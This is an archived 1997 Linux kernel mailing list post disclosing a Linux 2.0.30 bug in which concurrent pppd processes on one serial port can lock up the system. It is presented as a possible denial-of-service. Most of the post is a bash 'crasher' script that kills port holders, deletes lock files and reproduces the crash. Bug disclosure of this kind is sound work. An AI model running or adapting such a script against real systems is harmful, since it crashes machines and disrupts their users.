lkml.org 
[lkml]   [1997]   [Jun]   [1]   [last100]   RSS Feed
Views: [wrap][no wrap]   [headers]  [forward] 
 
Messages in this thread
/
Date
From
Subjectpppd crashes Linux 2.0.30 kernel
A bug exists in Linux 2.0.30, and likely other versions, which can result
in a kernel crash when more than one pppd process attempt to access the
same serial port. If dip or pppd is setuid root, this opens the
possibility of a denial-of-service attack. The bug has been observed
when running automated dialing scripts and two processes attempt to use
the same modem at the same time.

Specifically, the bug occurs when a pppd process is running on a serial
port and another process resets the port, setting the port speed to zero.
This has no immediately apparent effect, but sending a kill signal
to the pppd process will result in a system crash. Usually lock files
in /var/lock will prevent this situation, however the locking mechanism
can fail when the same serial port has different names (such as
/dev/modem being linked to /dev/ttyS1).

The following script demonstrates the bug by running two pppd processes
then launching and terminating dip. This resulted in a complete lockup
on my system (no oops or kernel panic) as soon as the last line was
executed.

#!/bin/bash

# Linux ppp-bug kernel crasher script

fuser /dev/ttyS1|awk -F: '{print $2}'|xargs kill
rm /var/lock/LCK..ttyS1&
sleep 2

(echo "port ttyS1";\
echo "reset";\
echo "wait 1";\
echo "";\
sleep 15;\
)|/usr/sbin/dip -tv &

sleep 4
rm /var/lock/LCK..ttyS1&
sleep 4
pppd silent debug modem crtscts ttyS1 38400
sleep 4
killall -INT dip
sleep 15
rm /var/lock/LCK..ttyS1&
sleep 1
(echo "port ttyS1";\
echo "send \r";\
echo "wait 1";\
echo "";\
sleep 15;\
)|/usr/sbin/dip -tv &

sleep 4
rm /var/lock/LCK..ttyS1&
sleep 4
pppd silent debug modem crtscts ttyS1 38400
killall -INT dip

sleep 10
killall pppd
sleep 1
killall pppd

# * BOOM * #

\
 
 \ /
  Last update: 2005-03-22 13:39    [W:0.042 / U:0.652 seconds]
©2003-2020 Jasper Spaans|hosted at Digital Ocean and TransIP|Read the blog|Advertise on this site